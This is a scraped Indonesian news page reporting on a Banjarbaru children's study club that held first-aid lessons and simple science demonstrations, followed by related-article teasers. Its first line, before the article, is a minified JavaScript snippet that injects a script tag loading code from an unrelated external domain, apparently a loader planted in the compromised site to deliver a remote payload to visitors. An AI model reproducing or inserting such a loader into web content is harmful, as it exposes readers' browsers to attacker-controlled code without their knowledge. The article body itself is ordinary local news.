(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Mengisi kegiatan akhir pekan, Komunitas Children Study Club Banjarbaru mengajak anak-anak pergi belajar di Kebun Lemonikoe yang terletak di jalan Pondok Labu, Loktabat Utara, Kota Banjarbaru, Minggu (8/10/2023).
Kegiatan belajar ini diisi dengan aktivitas belajar P3K (Pertolongan Pertama Pada Kecelakaan) kemudian dilanjutkan dengan melakukan aktivitas sains.
Diikuti oleh puluhan anggota komunitas ini sengaja menyelenggarakan aktivutas bertema yang sangat erat kaitannya dengan lingkungan anak.
Pada sesi pertama anak-anak diajarkan bagaimana cara mencuci tangan yang benar, kemudian cara menangani luka ringan, hingga kepada tindakan kesehatan ringan lainnya.
Baca juga: Konflik Lahan Sawit di Seruyan Tewaskan Warga, Panglima Jilah Desak Kapolri Bertindak Tegas
Anak-anak yang duduk di bangku sekolah dasar ini dengan seksama memperhatikan pembicara Nunung Sugiarti sorengan tenaga kesehatan di salah satu instansi kesehatan di Kota Banjarbaru.
Ummu Safira, pengasuh anak Komunitas Children Study Club Banjarbaru mengatakan, kegiatan ini dilakukan sebagai bentuk pembekalan terhadap keterampilan anak ketika suatu saat mengalami kejadian yang kurang mengenakkan seperti terluka.
“Sudah harus sedini mungkin seorang anak diberikan keterampilan tentang kesehatan seperti penanganan luka itu sendiri karena itu kerap terjadi di kehidupan sehari-hari,” kata Ummu Safira.
Baca juga: Dua Terdakwa Korupsi Pembebasan Lahan Bendungan Tapin Dengarkan Putusan
Di sesi kedua pembelajaran, Ummu Safira ikut mengambil bagian melakukan aktivitas sains dengan menciptakan bom asap.
“Kegiatan sains yang saya ajarkan tadi adalah mencampurkan hidrogen dengan peroksida dan PK sehingga menghasilkan gas oksigen, anak anak bilang bom asap,” katanya menjelaskan.
Dia pun turut mengajarkan bagaimana cara kerja listrik statis yang terbuat dari sedotan berputar tanpa disentuh.
Anak-anak pun kembali dibuat takjub dengan pembelajaran tentang cara membuat koin yang mengapung di dalam air.
Baca juga: Hari Pos Sedunia 9 Oktober, Kantor Pos di Era Digital
Ia mengatakan bahwa kegiatan ini merupakan program rutin dengan tujuan melakukan pendekatan terhadap anak-anak didiknya.
“Terutama kita tanamkan sejak dini bagaimana itu lifeskill mereka, dan kita sengaja melaksanakan kegiatan yang memang berbau dengan hal hal yang dekat dengan anak kita dan apa yang menjadi daya tarik mereka,” tutur dia.
Dirinya berharap dengan kegiatan positif yang dilaksanakan hari ini dapat memompa kembali semangat anak-anak masa kini untuk terus aktif belajar dan terampil. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.